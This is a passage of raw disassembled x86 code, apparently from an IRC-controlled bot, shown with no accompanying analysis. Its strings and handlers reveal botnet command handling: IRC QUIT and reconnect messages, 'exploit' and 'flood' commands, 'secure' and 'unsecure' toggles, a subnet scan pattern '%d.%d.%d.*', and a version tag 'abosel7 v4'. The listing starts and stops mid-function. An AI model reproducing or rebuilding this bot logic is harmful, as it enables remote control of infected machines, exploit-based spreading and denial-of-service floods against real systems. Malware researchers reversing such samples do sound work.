		jle	short loc_403FCB
		push	offset unk_42BC04
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BBDC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBBC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26A0B9Fh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854


loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BB84
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB64
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1


loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB40
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4041D3


loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 2690DCCh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------


loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BAE8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB00C
		call	dword_4CAECC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BACC
		jmp	short loc_404285
; ---------------------------------------------------------------------------


loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAB0


loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_42BA60
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA48
		call	sub_4151AC


loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA44
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx


loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_42B9E8
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42B9D0


loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9A4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------


loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx


loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B954
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B920
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------


loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B910
		push	offset dword_42B900
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B8F4
		push	offset dword_42B8E4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------


loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074


loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi


loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------


loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl


loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8BC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40470D


loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------


loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset dword_42B880
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084


loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B854
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404813


loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------


loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42B814
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856


loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1


loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B7E0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404911


loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset dword_42B7A4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE


loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B6F4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B6E4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6B8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B68C
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9BC


loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE728, ebx
		jz	short loc_404A4A
		push	offset dword_4CE108


loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B650
		jmp	loc_404AE0
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B610
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------


loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE108
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE728, 1
		pop	ecx
		push	esi
		push	offset unk_42B5E4


loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------


loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404BE6


loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42B56C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		call	near ptr 26A0B9Fh
		nop
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
